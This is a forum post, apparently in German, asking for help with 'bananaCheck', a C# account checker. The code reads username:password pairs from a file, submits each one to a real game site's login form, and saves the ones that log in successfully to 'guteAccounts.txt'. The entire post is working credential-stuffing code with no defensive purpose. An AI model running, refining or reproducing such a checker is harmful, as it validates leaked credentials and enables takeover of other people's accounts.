Simple Account Checker [HILFE!]

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace bananaCheck
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Title = "bananaCheck";

            //Existiert die Datei mit den Accounts?
            if (File.Exists("db.txt"))
            {
                //Accounts einlesen
                Console.WriteLine("Lese accounts ein...");
                List<Account> accounts = new List<Account>();

                using (StreamReader sr = new StreamReader("db.txt"))
                {
                    while (sr.Peek() != -1)
                    {
                        string line = sr.ReadLine();

                        if (line != "")
                        {
                            Account account = new Account();
                            account.id = line.Split(':')[0];
                            account.pw = line.Split(':')[1];
                            accounts.Add(account);
                        }
                    }

                    sr.Close();
                }
                Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);

                //Accounts überprüfen
                Console.WriteLine("Überprüfe accounts...");
                for (int i = 0; i < accounts.Count; i++)
                {
                    try
                    {
                        Console.Write("Überprüfe account mit der ID: {0}", accounts[i].id);
                        string str = string.Format("login={0}&password={1}", accounts[i].id, accounts[i].pw);

                        HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://www.bananamt2.com/?s=login");
                        req.Method = "POST";
                        req.ContentType = "application/x-www-form-urlencoded";

                        using (StreamWriter sw = new StreamWriter(req.GetRequestStream()))
                        {
                            sw.Write(str);
                            sw.Close();
                        }

                        HttpWebResponse res = (HttpWebResponse)req.GetResponse();

                        using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                        {
                            string response = sr.ReadToEnd();

                            if (response.Contains("Login erfolgreich"))
                            {
                                Console.ForegroundColor = ConsoleColor.Green;
                                Console.WriteLine(" [OKAY]");
                                using (StreamWriter sw = new StreamWriter("guteAccounts.txt", true))
                                {
                                    sw.WriteLine("{0}:{1}", accounts[i].id, accounts[i].pw);
                                    sw.Close();
                                }
                            }
                            else
                            {
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine(" [NICHT OKAY]");
                            }

                            sr.Close();
                        }

                        Console.ForegroundColor = ConsoleColor.Gray;
                    }
                    catch (System.Exception ex)
                    {
                    	continue;
                    }
                  
                }
            }
            else
            {
                Console.WriteLine("Die Datei db.txt existiert nicht.");
            }

            Console.ReadLine();
        }

        struct Account
        {
            public string id;
            public string pw;
        }
    }
}